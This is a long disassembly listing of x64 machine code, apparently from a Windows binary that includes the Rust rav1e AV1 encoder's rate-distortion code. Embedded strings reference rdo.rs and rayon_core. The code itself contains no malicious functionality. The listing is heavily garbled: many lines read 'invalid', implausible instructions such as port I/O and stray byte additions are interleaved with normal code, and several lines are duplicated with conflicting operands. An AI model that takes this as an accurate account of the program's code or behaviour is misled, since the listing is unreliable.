call fcn.1400e3266
ucomisd xmm8, xmm7
jbe 0x1401003a1
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x1e8]
add byte [rax], al
call fcn.1400e2ded
mov r8d, 0xc8
lea rcx, [rsp + 0x2b0]
lea rdx, [rsp + 0x120]
call sub.VCRUNTIME140.dll_memcpy
movapd xmm8, xmm7
mov byte [rsp + 0x55], bl
mov rcx, qword [rsp + 0x60]
lea rdx, [rsp + 0x3c0]
call fcn.140074eee
mov rax, qword [rsp + 0x530]
movzx edx, word [rsp + 0x5e]
mov word [rax + 0x24], dx
mov word [rax + 0x26], bp
mov dword [rax + 0x26], ebp
mov rcx, qword [rsp + 0x90]
mov qword [rax + 0x18], rcx
cmp qword [rax + 0x10], rdi
jb 0x1401003de
mov qword [rax + 0x10], rdi
mov rax, qword [rsp + 0x538]
movzx r10d, word [rsp + 0x5c]
mov word [rax + 0x24], r10w
mov word [rax + 0x26], r13w
mov r9, qword [rsp + 0x80]
mov qword [rax + 0x18], r9
mov r8, qword [rsp + 0x88]
cmp qword [rax + 0x10], r8
mov r11b, byte [rsp + 0x56]
jb 0x140100419
mov qword [rax + 0x10], r8
lea rax, [0x140247750]
jmp 0x1400fff7a
xorpd xmm0, xmm0
ucomisd xmm8, xmm0
jb 0x140100495
lea rcx, [rsi + 8]
lea rdx, [rsp + 0x2b0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
movsd qword [rsi], xmm8
mov al, byte [rsp + 0x55]
mov byte [rsi + 0xd0], al
movaps xmm6, xmmword [rsp + 0x470]
movaps xmm7, xmmword [rsp + 0x480]
movaps xmm8, xmmword [rsp + 0x490]
movaps xmm9, xmmword [rsp + 0x4a0]
movaps xmm10, xmmword [rsp + 0x4b0]
add rsp, 0x4c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.assertion_failed:_best_rd___0_f64
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov edx, 0x22
call fcn.1401c6f30
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140009390
lea r8, [rsp + 0x120]
mov edx, 0x2b
call fcn.1401c7200
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov edx, 0x28
call fcn.1401c6f30
int3
lea r12, [rbx + 0x5d0]
and dword [r12 + 0x140], 0
and dword [rsp + 0x140], 0
and dword [rbx + 0x7b8], 0
add byte [rax], al
and dword [rbx + 0x338], 0
lea rcx, [rbx + 0xb00]
and dword [rcx + 0x8c0], 0
lea rcx, [rbx + 0x270]
lea ecx, [rbx + 0x270]
and dword [rcx + 0x38], 0
lea rcx, [rbx + 0x1cc]
lea rax, [rbx + rax*2]
add rax, 0x1cc
mov qword [rbx + 0x118], rax
add byte [rax], al
mov rax, qword [rbx + 0x128]
mov rax, qword [rax + 0x2b8]
add byte [rax - 0x77], cl
or dword [rax], 1
add byte [rax], al
lea r15, [rbx + 0x340]
lea edi, [rbx + 0x340]
lea r13, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
xor r14d, r14d
xor esi, esi
cmp rcx, qword [rbx + 0x118]
je 0x140100b1e
and dword [rbx + 0x3ac], 0
mov r14, rcx
mov esi, ecx
invalid
mov di, word [rcx]
mov rax, qword [rbx + 0x178]
js 0x1401007d2
add byte [rax], al
mov rcx, qword [rax + 0x1278]
mov byte [rbx + 0xed], 1
in eax, dx
add byte [rax], al
add byte [rcx], al
mov rax, qword [rbx + 0x128]
add byte [rax - 0x77], cl
and al, 0x30
mov al, byte [rbp + 0x13e0]
mov byte [rsp + 0x28], al
mov qword [rsp + 0x20], r15
mov byte [rsp + 0x38], 0
cmp byte [rax], al
mov rdx, qword [rbp + 0x13e8]
xchg ebp, eax
call 0x18c10081c
mov eax, dword [rbp + 0x13f0]
mov r9d, edi
call fcn.1400c9d5e
xchg ebp, eax
cld
inc esi
sub ebp, 0
add byte [rax], al
add dword [rax - 0x73], ecx
mov esi, dword [rax + 2]
add byte [rax], al
mov rdx, rax
ret 0x8d4c
add eax, 0x140551
call fcn.1400e2a27
add r14, 2
lea rax, [rsi + 1]
mov qword [rbx + 0xf0], rax
xor eax, eax
cmp rax, 2
je 0x140100858
and dword [rbx + rax*4 + 0x1e0], 0
inc rax
jmp 0x140100845
mov qword [rbx + 0x100], r14
mov eax, dword [rbx + 0x3ac]
test eax, eax
je 0x140100886
mov ecx, dword [rbx + 0x340]
mov dword [rbx + 0x1e0], ecx
cmp eax, 1
je 0x140100886
mov eax, dword [rbx + 0x34c]
mov dword [rbx + 0x1e4], eax
mov r15b, byte [rbp + 0x13e0]
mov ecx, r15d
call fcn.14007c694
mov r14, rax
mov ecx, r15d
call fcn.14007c6af
mov rcx, qword [rbx + 0x1e0]
mov r8b, 1
mov byte [rbx + 0xed], r8b
xor edx, edx
mov byte [rsp + 0x68], dl
mov byte [rsp + 0x60], dl
mov byte [rsp + 0x58], r8b
mov byte [rsp + 0x50], r8b
mov qword [rsp + 0x48], rcx
mov byte [rsp + 0x38], dil
mov rcx, qword [rbp + 0x13f0]
adc eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x30
mov rcx, qword [rbp + 0x13e8]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
and dword [rsp + 0x70], 0
mov word [rsp + 0x40], 1
lea rcx, [rbx + 0x7c0]
invalid
add byte [rax], al
mov rdx, qword [rbx + 0x128]
mov r8, qword [rbx + 0x140]
mov r9, r14
call fcn.14008ce86
lea r15, [rbx + 0x340]
mov rax, qword [rbx + 0x7c0]
test rax, rax
mov edx, dword [rbx + 0x7d8]
cmove rdx, rax
mov byte [rbx + 0xed], 1
lea rcx, [rbx + 0x1a8]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e29e3
and dh, bh
push qword [rcx]
invalid
cmp rdi, 1
je 0x14010096e
inc rdi
mov byte [rbx + 0xed], 1
add byte [rax], al
add byte [rcx], al
add dword [rcx + rcx*4 - 0x1f], ecx
mov dl, 0xe
mov r8, rsi
mov r9, r13
call fcn.1400e2adc
jmp 0x14010094c
cmp dword [rbx + 0x3ac], 0
je 0x1401009c0
mov byte [rbx + 0xed], 1
mov rcx, r12
mov dl, 0xf
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
lea ecx, [0x140240db0]
call fcn.1400e2adc
mov ecx, dword [rbx + 0x3ac]
cmp ecx, 2
jb 0x1401009c2
mov byte [rbx + 0xed], 1
mov rcx, r12
mov dl, 0x12
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e2adc
dec dword [rbx + 0x3ac8b]
add bl, ch
invalid
xor ecx, ecx
mov rax, qword [rbx + 0x108]
mov dil, byte [rax + 0x44]
test dil, dil
je 0x140100a1e
cmp ecx, 2
jbe 0x140100a1e
mov byte [rbx + 0xed], 1
mov rcx, r12
loope 0x140100994
adc byte [rcx - 0x77], cl
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e2adc
mov ecx, dword [rbx + 0x3ac]
cmp ecx, 4
jb 0x140100a1e
mov byte [rbx + 0xed], 1
mov rcx, r12
mov dl, 0x11
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
in eax, 3
adc al, 0
call fcn.1400e2adc
mov ecx, dword [rbx + 0x3ac]
test dil, dil
push 0xc
pop rax
push 0x24
pop rdx
cmovne rax, rdx
mov ecx, ecx
mov r14d, dword [rbx + 0x1c0]
imul rdx, rcx, 0xc
xor ecx, ecx
cmp rdx, rcx
je 0x140100a91
cmp rsi, r14
jae 0x1401014b7
movzx r8d, word [rbx + rcx + 0x340]
movzx r9d, word [rbx + rsi*8 + 0x1a8]
invalid
test al, 1
add byte [rax], al
cmp r8w, r9w
jne 0x140100a86
movzx r9d, word [rbx + rcx + 0x342]
movzx r10d, word [rbx + rsi*8 + 0x1aa]
cmp rax, rcx
je 0x140100b0e
xchg ebx, eax
add byte [rax], al
invalid
cmp r9w, r10w
jne 0x140100a8b
jmp 0x140100b0e
cmp rax, rcx
je case.0x1400831b0.199
add rcx, 0xc
jmp 0x140100a3a
cmp rsi, r14
jae 0x140103bef
xor dword [rax], eax
invalid
movzx r9d, word [rbx + rsi*8 + 0x1a8]
test r9w, r9w
jne 0x140100ab4
cmp word [rbx + rsi*8 + 0x1aa], 0
je 0x140100acf
mov byte [rbx + 0xed], 1
mov rcx, r12
mov ecx, esp
mov dl, 0x13
mov r8, rsi
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
add edx, dword [rax + rax]
call fcn.1400e2adc
push 0x1c
pop rcx
lea rdx, [rbx + 0x7c0]
mov rdi, rdx
mov rsi, r15
rep movsd dword [rdi], dword [rsi]
mov byte [rbx + 0xed], 0
lea rcx, [rbx + 0xb00]
add byte [rax], al
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e2a6b
mov rsi, qword [rbx + 0xf0]
mov rcx, qword [rbx + 0x100]
jmp 0x1401007b2
cmp r9w, r10w
je 0x140100acf
mov r9d, r8d
cmp rax, rcx
je case.0x1400831b0.199
jmp 0x140100acf
mov dil, byte [rbp + 0x13e0]
mov ecx, edi
call fcn.1400c2707
fistp dword [rbx]
cld
dec dword [rax - 0x77]
invalid
mov ecx, edi
call fcn.1400c2719
cmp rsi, rax
cmovb rax, rsi
invalid
invalid
mov rcx, qword [rbx + 0x128]
mov ecx, dword [rbx + 0x128]
cmp byte [rcx + 0x30b], 0
je 0x140100d45
invalid
cmp rax, 2
jb 0x140100d45
invalid
add dword [rax], eax
invalid
cmp qword [rbx + 0x110], 0
add dword [rax], eax
add byte [rax], al
je 0x140100d45
cmp qword [rbx + 0x130], 0
je 0x140100d45
mov edx, dword [rbx + 0x1c8]
mov rax, qword [rbx + 0x170]
cmp rax, rdx
jae 0x140103e62
mov rcx, qword [rbx + 0x188]
cmp rcx, rdx
mov ecx, dword [rax + 0x48000001]
cmp ecx, edx
jae 0x140103e76
movzx eax, byte [rbx + rax*2 + 0x1cc]
movzx esi, byte [rbx + rcx*2 + 0x1cc]
shl esi, 8
or esi, eax
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
lea rcx, [rbx + 0x1c8]
mov edx, esi
call fcn.1400e2996
mov edx, r14d
mov rax, qword [rbx + 0x170]
cmp rax, rdx
jae 0x140103e87
invalid
mov rcx, qword [rbx + 0x188]
cmp rcx, rdx
invalid
ror dword [rdi], 1
xor dword [rcx - 0x74ffffce], 0xffffff84
invalid
test bl, al
jae 0x140103e9b
mov eax, dword [rbx + rax*8 + 0x1a8]
add byte [rax], al
mov edx, dword [rbx + rcx*8 + 0x1a8]
shl rdx, 0x20
or rdx, rax
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
sbb al, byte [rcx]
adc al, 0
lea rcx, [rbx + 0x1a8]
add byte [rax], al
add byte [rax], al
call fcn.1400e29e3
and dword [rbx + 0x3ac], 0
invalid
lodsb al, byte [rsi]
add eax, dword [rax]
add byte [rax], al
movabs dword [0x838b4800000003ac], eax
js case.0x1400c4f5c.163
lodsb al, byte [rsi]
add eax, dword [rax]
add byte [rax], al
mov rax, qword [rbx + 0x178]
add byte [rax], al
add byte [rax - 0x75], cl
mov byte [rax + 0x12], bh
add byte [rax], al
mov rcx, qword [rax + 0x1278]
mov al, 1
mov byte [rbx + 0xef], al
sub edi, 0
out dx, eax
add byte [rax], al
invalid
mov byte [rsp + 0x38], al
out dx, eax
add byte [rax], al
add byte [rax + 0x48382444], cl
invalid
mov rax, qword [rbx + 0x128]
mov eax, dword [rbx + 0x128]
mov qword [rsp + 0x30], rax
mov al, byte [rbp + 0x13e0]
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x28], al
mov qword [rsp + 0x20], r15
mov rdx, qword [rbp + 0x13e8]
mov r8, qword [rbp + 0x13f0]
lock adc eax, dword [rax]
add byte [rcx - 0x77], al
int1
lock adc eax, dword [rax]
add byte [rcx - 0x77], al
int1
call fcn.1400c9d5e
mov byte [rbx + 0xef], 1
add byte [rax], al
add dword [rbp + rcx*4 + 5], ecx
mov byte [rax], 0x14
adc al, 0
add byte [rax], al
add dword [rbp + rcx*4 + 5], ecx
mov byte [rax], 0x14
adc al, 0
lea rcx, [rbx + 0x270]
adc al, 0
lea rcx, [rbx + 0x270]
lea ecx, [rbx + 0x270]
mov rdx, rax
call fcn.1400e2a27
xor r14d, r14d
test byte [rbp + rcx*4 + 0x3d], 0x8d
jge 0x140100c9b
add byte [rcx - 0x43], al
invalid
and bl, 0xfc
cld
test byte [rbp + rcx*4 + 0x3d], 0x8d
jge 0x140100c9b
add byte [rcx - 0x43], al
add byte [rax - 0x72b7031d], al
cld
lea rsi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
cld
lea rsi, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
add byte [rax - 0x73], cl
mov ebx, 0x5d0
lea rdi, [rbx + 0x5d0]
rol byte [0xc3590ca1], 1
dec byte [rax]
cmp r14, 8
je 0x140100d0e
mov dl, byte [r14 + r15]
inc r14
mov rax, qword [rbx + 0x108]
cmp byte [rax + 0x44], 0
je 0x140100cfe
invalid
mov r8d, dword [rbx + 0x1c8]
mov r8d, dword [rbx + 0x1c8]
add byte [rbp + 0x113cf142], cl
lea eax, [rdx - 0xf]
cmp al, 0x11
jae case.0x1400c5cc0.98
movzx eax, al
mov ecx, 0x1f9c7
bt ecx, eax
jae case.0x1400c5cc0.98
mov ecx, dword [rbx + 0x3ac]
lea r9, [0x14028aca8]
or eax, 0x189fc7
or eax, 0x189fc7
cmp qword [r9 + rax*8], rcx
jae 0x140100c9f
dec r8
mov byte [rbx + 0xef], 1
add byte [rcx], al
add byte [rcx], al
mov rcx, rdi
mov r9, rsi
call fcn.1400e2adc
jmp 0x140100c9f
movzx eax, dl
cmp eax, 0x1f
ja 0x140100cb9
bt r13d, eax
jb 0x140100c9f
movabs dword [0x591c6aabeb9372c5], eax
jmp 0x140100cb9
push 0x1c
pop rcx
lea rdx, [rbx + 0x7c0]
lea rsi, [rbx + 0x340]
mov rdi, rdx
add byte [rax - 0x73], cl
mov bl, 0x40
add eax, dword [rax]
add byte [rax - 0x77], cl
xlatb
rep movsd dword [rdi], dword [rsi]
mov byte [rbx + 0xef], 0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
lea eax, [0x140240d50]
lea eax, [0x140240d50]
lea rcx, [rbx + 0xb00]
add byte [rax], al
call fcn.1400e2a6b
mov r14d, dword [rbx + 0x1c0]
mov rax, qword [rbx + 0x108]
cmp byte [rax + 0x47], 2
mov eax, dword [rbx + 0x710]
invalid
add byte [rax], al
push 9
pop rdi
cmovae rdi, rax
shl rax, 4
lea r13, [rbx + rax]
add r13, 0x5d0
invalid
rol byte [0xc9540d6e], 1
add eax, 0x89440000
invalid
mov qword [rbx + 0x148], rax
xorps xmm6, xmm6
mov qword [rbx + 0x180], rdi
add byte [rcx], 0
add byte [rcx + rcx*4 - 0x55], cl
mov byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], 0
add byte [rcx + rcx*4 - 0x55], cl
mov byte [rcx], al
add byte [rax], al
cmp r12, r13
je 0x14010132d
movzx r14d, byte [r12]
lea eax, [r14 - 0xe]
cmp eax, 0x13
ja case.default.0x140100db5
xor eax, dword [rax]
invalid
mov rsi, qword [r12 + 8]
lea rcx, [0x14028c29c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov edx, dword [rbx + 0x13c0]
cmp rsi, rdx
jae 0x140103c30
imul r8, rsi, 0x70
mov edx, dword [rbx + r8 + 0xb6c]
lea eax, [r14 - 0x10]
movzx eax, al
ror byte [rax - 0x73], 0xd
push rax
lahf
sbb byte [rax], al
mov rcx, qword [rcx + rax*8]
cmp rcx, rdx
jae 0x140103c44
lea r9, [0x14028ad70]
mov rax, qword [r9 + rax*8]
cmp rax, rdx
jae 0x140103c55
lea rdx, [rbx + r8]
add rdx, 0xb00
ret 0xb00
add byte [rax], al
imul rcx, rcx, 0xc
movzx r8d, word [rdx + rcx]
movzx ecx, word [rdx + rcx + 2]
imul rax, rax, 0xc
mov eax, dword [rdx + rax + 4]
mov word [rbx + 0x120], r8w
mov dword [rbx + 0x120], eax
mov word [rbx + 0x122], cx
add dword [rax], eax
invalid
mov dword [rbx + 0x124], eax
jmp 0x140100ecc
mov edx, dword [rbx + 0x13c0]
cmp rsi, rdx
jae 0x140103c98
imul rax, rsi, 0x70
cmp dword [rbx + rax + 0xb6c], 0
or eax, dword [rax]
add byte [rax], al
je 0x140101314
mov bh, 4
add byte [rax], al
add rax, rbx
add rax, 0xb00
mov rax, qword [rax]
jmp 0x140100ec5
mov edx, dword [rbx + 0x13c0]
cmp rsi, rdx
jae 0x140103c84
invalid
imul rax, rsi, 0x70
cmp dword [rbx + rax + 0xb6c], 1
add byte [rax], al
add dword [rdi], ecx
xchg byte [rdi + 4], ch
add byte [rax], al
add rax, rbx
add rax, 0xb00
mov rax, qword [rax + 0xc]
or al, 0xeb
invalid
xor eax, eax
cmp rax, 2
je 0x140100ecc
and dword [rbx + rax*4 + 0x120], 0
inc rax
jmp 0x140100e9d
cmp rsi, qword [rbx + 0x148]
jae 0x140103c69
mov rax, qword [rbx + rsi*8 + 0x1a8]
mov qword [rbx + 0x120], rax
mov r15, qword [rbx + 0x120]
lea rcx, [rbx + 0x718]
mov rdx, r15
call fcn.1400e2b3c
mov eax, dword [rbx + 0x710]
cmp rdi, rax
jne 0x140100f07
lea rcx, [rbx + 0x2e8]
xor edx, edx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
call fcn.1400e2b8a
jmp 0x140101244
mov qword [rbx + 0x110], r15
mov qword [rbx + 0x118], r14
mov qword [rbx + 0x108], rsi
mov rsi, qword [rbx + 0x140]
mov rdi, qword [rsi + 0x2c0]
mov cl, byte [rsi + 0x2d0]
shl rdi, cl
mov r13, qword [rsi + 0x2c8]
add byte [rcx - 0x2d], cl
in eax, 0x48
mov eax, dword [rsi + 0x120]
mov r14, qword [rax + 0x20]
mov qword [rbx + 0x100], rax
mov r9, qword [rax + 0x28]
mov qword [rbx + 0xf0], r9
mov r15, qword [rbp + 0x13e8]
mov rcx, r15
mov rdx, qword [rbp + 0x13f0]
mov r8, r14
call fcn.14007df20
mov ecx, r14d
shr r15, cl
mov r14, rdx
shl r15, 2
mov rdx, qword [rbp + 0x13f0]
mov rcx, qword [rbx + 0xf0]
lock add byte [rax], al
add byte [rax - 0x2d], cl
invalid
test r15, r15
js 0x140103fe0
mov r10, rsi
mov r11, qword [rsi + 0x140]
cmp r11, r15
jb 0x140103fe0
mov qword [rbx + 0xf0], rax
shl rdx, 2
test rdx, rdx
mov rcx, qword [rbx + 0x108]
js 0x140103fc5
mov r8, qword [r10 + 0x148]
cmp r8, rdx
ror byte [rdi], 1
invalid
in eax, dx
invalid
add byte [rax], al
ror byte [rdi], 1
invalid
sub r11, r15
sub r8, rdx
mov rsi, qword [rbx + 0x100]
mov r9, qword [rsi]
imul r9, rdx
add r9, r9
add r9, qword [r10 + 0x128]
add byte [rdi - 0x73], cl
or al, 0x79
add byte [rdi - 0x73], cl
or al, 0x79
add r15, qword [r10 + 0x130]
add rdx, qword [r10 + 0x138]
mov qword [rbx + 0x1e8], r9
add byte [rax], al
add byte [rax], al
mov qword [rbx + 0x1e0], rsi
mov qword [rbx + 0x1f0], r15
mov qword [rbx + 0x1f8], rdx
add byte [rax], al
add byte [rax], al
mov qword [rbx + 0x200], r11
mov dword [rbx + 0x200], ebx
mov qword [rbx + 0x208], r8
mov edx, dword [rbx + 0x1c8]
cmp rcx, rdx
jae 0x140103c1f
mov qword [rbx + 0x170], r9
add byte [rax], al
mov rsi, rcx
mov qword [rbx + 0x130], r14
mov r14b, byte [rbp + 0x13e0]
mov ecx, r14d
call fcn.14007c6af
mov dh, 0xf7
dec dword [rcx - 0x77]
mov dword [rcx + rcx*4 - 0xf], 0xf7b628e8
dec dword [rcx - 0x77]
invalid
movzx eax, word [rbx + rsi*2 + 0x1cc]
mov rcx, qword [rbx + 0x140]
mov eax, dword [rax + 1]
add byte [rax], al
mov dh, 0xf7
dec dword [rcx - 0x77]
mov dword [rcx + rcx*4 - 0xf], 0xf7b628e8
dec dword [rcx - 0x77]
invalid
add byte [rax - 0x75], cl
mov eax, dword [rax + 1]
add byte [rax], al
movups xmm0, xmmword [rcx + 0x278]
movups xmmword [rsp + 0x60], xmm0
mov rcx, qword [rbx + 0x110]
mov qword [rsp + 0x58], rcx
mov word [rsp + 0x50], ax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x40], esi
lea rax, [rbx + 0x1e0]
mov qword [rsp + 0x38], rax
mov rax, qword [rbx + 0x130]
mov qword [rsp + 0x30], rax
mov rax, qword [rbx + 0xf0]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
and dword [rsp + 0x20], 0
mov rcx, qword [rbx + 0x118]
mov rdx, qword [rbx + 0x128]
mov r8, rdi
mov r9, r13
call fcn.140109dff
mov rdi, qword [rbx + 0x180]
mov r13, qword [rbx + 0x188]
mov byte [rcx], al
add byte [rax], al
mov byte [rcx], al
add byte [rax], al
mov rcx, qword [rbx + 0x140]
mov rax, qword [rcx + 0x78]
mov rdx, qword [rcx + 0x80]
test rdx, rdx
je 0x1401011c2
mov cl, byte [rax + 0x20]
mov r8, qword [rbp + 0x13e8]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x2d], cl
call 0x1893859ac
shl eax, 2
shr r8, cl
mov cl, byte [rax + 0x28]
shl r8, 2
mov r9, qword [rbp + 0x13f0]
shr r9, cl
test r8, r8
js 0x14010404d
mov rcx, qword [rbx + 0x140]
mov rcx, qword [rcx + 0x98]
cmp rcx, r8
jb 0x14010404d
shl r9, 2
test r9, r9
mov rsi, qword [rbx + 0x140]
js 0x140104068
mov r10, qword [rsi + 0xa0]
cmp r10, r9
jb 0x140104068
sub rcx, r8
sub r10, r9
mov r11, qword [rax]
imul r11, r9
lea rdx, [rdx + r11*2]
lea rdx, [rdx + r8*2]
add r8, qword [rsi + 0x88]
add r9, qword [rsi + 0x90]
mov qword [rbx + 0x348], rdx
mov qword [rbx + 0x340], rax
mov qword [rbx + 0x350], r8
mov qword [rbx + 0x358], r9
mov qword [rbx + 0x360], rcx
mov qword [rbx + 0x368], r10
jmp 0x1401011dc
lea rcx, [rbx + 0x348]
movups xmmword [rcx + 0x10], xmm6
movups xmmword [rcx], xmm6
and qword [rcx + 0x20], 0
mov qword [rbx + 0x340], rax
lea rax, [rbx + 0x1f0]
movups xmm0, xmmword [rax]
movupd xmm1, xmmword [rax + 0x10]
adc byte [rax - 0x73], cl
adc eax, 7
add byte [rax], al
movupd xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov rax, qword [rbx + 0x170]
mov qword [rbx + 0x7c8], rax
mov rax, qword [rbx + 0x100]
mov qword [rbx + 0x7c0], rax
lea rcx, [rbx + 0x340]
lea rdx, [rbx + 0x7c0]
mov r8, r14
mov r9, r15
call fcn.14007d147
lea rcx, [rbx + 0x2e8]
add byte [rcx + 0x58d4cc2], cl
add eax, 0x13fe11
call fcn.1400e2b8a
add r12, 0x10
jmp 0x140100d87
mov edx, dword [rbx + 0x13c0]
cmp rsi, rdx
jae 0x140103cc7
imul rax, rsi, 0x70
cmp dword [rbx + rax + 0xb6c], 0
je 0x140103cdb
cmp rsi, qword [rbx + 0x148]
jae 0x140103d04
add rax, rbx
add rax, 0xb00
mov eax, dword [rax]
mov ecx, dword [rbx + rsi*8 + 0x1ac]
mov dword [rbx + 0x120], eax
mov dword [rbx + 0x124], ecx
jmp 0x140100ecc
cmp rsi, qword [rbx + 0x148]
jae 0x140103cac
mov edx, dword [rbx + 0x13c0]
cmp rsi, rdx
jae 0x140103cf0
imul rax, rsi, 0x70
cmp dword [rbx + rax + 0xb6c], 0
je 0x140103d1f
movzx ecx, word [rbx + rsi*8 + 0x1a8]
movzx edx, word [rbx + rsi*8 + 0x1aa]
add rax, rbx
add rax, 0xb00
mov eax, dword [rax + 4]
mov word [rbx + 0x120], cx
mov word [rbx + 0x122], dx
jmp 0x140100e31
xor eax, eax
cmp rax, 2
je 0x140100ecc
and dword [rbx + rax*4 + 0x120], 0
inc rax
jmp 0x1401012fd
xor eax, eax
cmp rax, 2
je 0x140100ecc
and dword [rbx + rax*4 + 0x120], 0
inc rax
jmp 0x140101316
lea rcx, [rbx + 0x828]
lea rsi, [rbx + 0x5d0]
mov r8d, 0x140
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rsi + 0x140]
lea r14, [rbx + 0x978]
lea rsi, [rbx + 0x718]
mov r8d, 0xa0
mov rcx, r14
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rsi + 0xa0]
and qword [rbx + 0x354], 0
xorps xmm0, xmm0
movups xmmword [rbx + 0x344], xmm0
lea rax, [rbx + 0x7c8]
push 0x15
pop rcx
lea rsi, [rbx + 0x2e8]
mov rdi, rax
rep movsd dword [rdi], dword [rsi]
movupd xmm1, xmmword [rbx + 0x340]
movups xmm2, xmmword [rbx + 0x34c]
movups xmmword [rax + 0x260], xmm2
movupd xmmword [rax + 0x254], xmm1
and qword [rax + 0x280], 0
movups xmmword [rax + 0x270], xmm0
and qword [rax - 8], 0
and qword [rax + 0x58], 0
mov qword [r14 - 0x10], r15
and qword [r14 - 8], 0
mov dword [rax + 0x250], edx
push 0x18
pop r15
xor r14d, r14d
lea rsi, [rbx + 0x1e0]
lea rdi, [rbx + 0x7c0]
mov rcx, rsi
mov rdx, rdi
call fcn.14007deaa
mov al, byte [rbx + 0x1e0]
cmp al, 0x22
je 0x140101458
cmp r15, 0x298
je 0x140103f51
mov rcx, qword [rbx + 0x1e8]
mov rdx, qword [rbx + 0x1f0]
mov r8d, dword [rbx + 0x1f8]
mov byte [rbx + r15 + 0x328], al
mov qword [rbx + r15 + 0x330], rcx
mov qword [rbx + r15 + 0x338], rdx
mov dword [rbx + r15 + 0x340], r8d
inc r14
add r15, 0x20
jmp 0x1401013f8
lea rdx, [rbx + 0x340]
mov dword [rdx + 0x280], r14d
lea rsi, [rbx + 0x7c0]
mov r8d, 0x288
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rsi + 0x280]
mov rax, qword [rbx + 0x180]
mov rdi, rax
cmp rax, rdx
je 0x1401019f3
cmp edx, 0x15
jae 0x1401014d5
cmp edx, 1
jbe 0x1401019e6
lea rcx, [rbx + 0x7c0]
push 1
pop r8
call fcn.140111a8e
jmp 0x1401019e6
mov byte [rbx + 0xed], 1
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_rdo.rs
mov rcx, rsi
mov rdx, r14
call fcn.1401c6eb0
jmp 0x1401041da
mov qword [rbx + 0x148], rdx
mov rsi, rdx
shr esi, 1
mov rdx, rsi
shl rdx, 5
push 8
pop rcx
call fcn.1400710da
test rax, rax
je 0x1401041c0
mov r14, rax
mov qword [rbx + 0x218], rsi
push 8
pop rcx
mov edx, 0x100
call fcn.1400710da
test rax, rax
push 0x10
pop rdi
mov qword [rbx + 0x170], r14
je 0x1401041ce
mov rcx, rax
xor r15d, r15d
xor r12d, r12d
mov r13, qword [rbx + 0x148]
cmp r12, r13
jae 0x1401019cf
mov rsi, r15
mov r14, rcx
mov qword [rbx + 0x198], rcx
mov qword [rbx + 0x1a0], rdi
mov rcx, r12
lea rdx, [rbx + 0x7c0]
mov r8, r13
call fcn.1400e2c52
mov r15, rdx
cmp rdx, 2
jae 0x14010157b
lea rax, [r15 + r12]
mov qword [rbx + 0x138], rax
jmp 0x140101617
mov ecx, dword [rax + 0x38]
cmp ecx, dword [rax + 0x18]
jae 0x1401015a3
add rax, 0x58
push 2
pop rdx
cmp r15, rdx
je 0x1401015ca
mov r8d, dword [rax]
cmp r8d, ecx
jae 0x1401015c7
inc rdx
add rax, 0x20
mov ecx, r8d
jmp 0x14010158a
add rax, 0x58
push 2
pop rdx
cmp r15, rdx
je 0x14010156b
mov r8d, dword [rax]
cmp r8d, ecx
jb 0x1401019c7
inc rdx
add rax, 0x20
mov ecx, r8d
jmp 0x1401015aa
mov r15, rdx
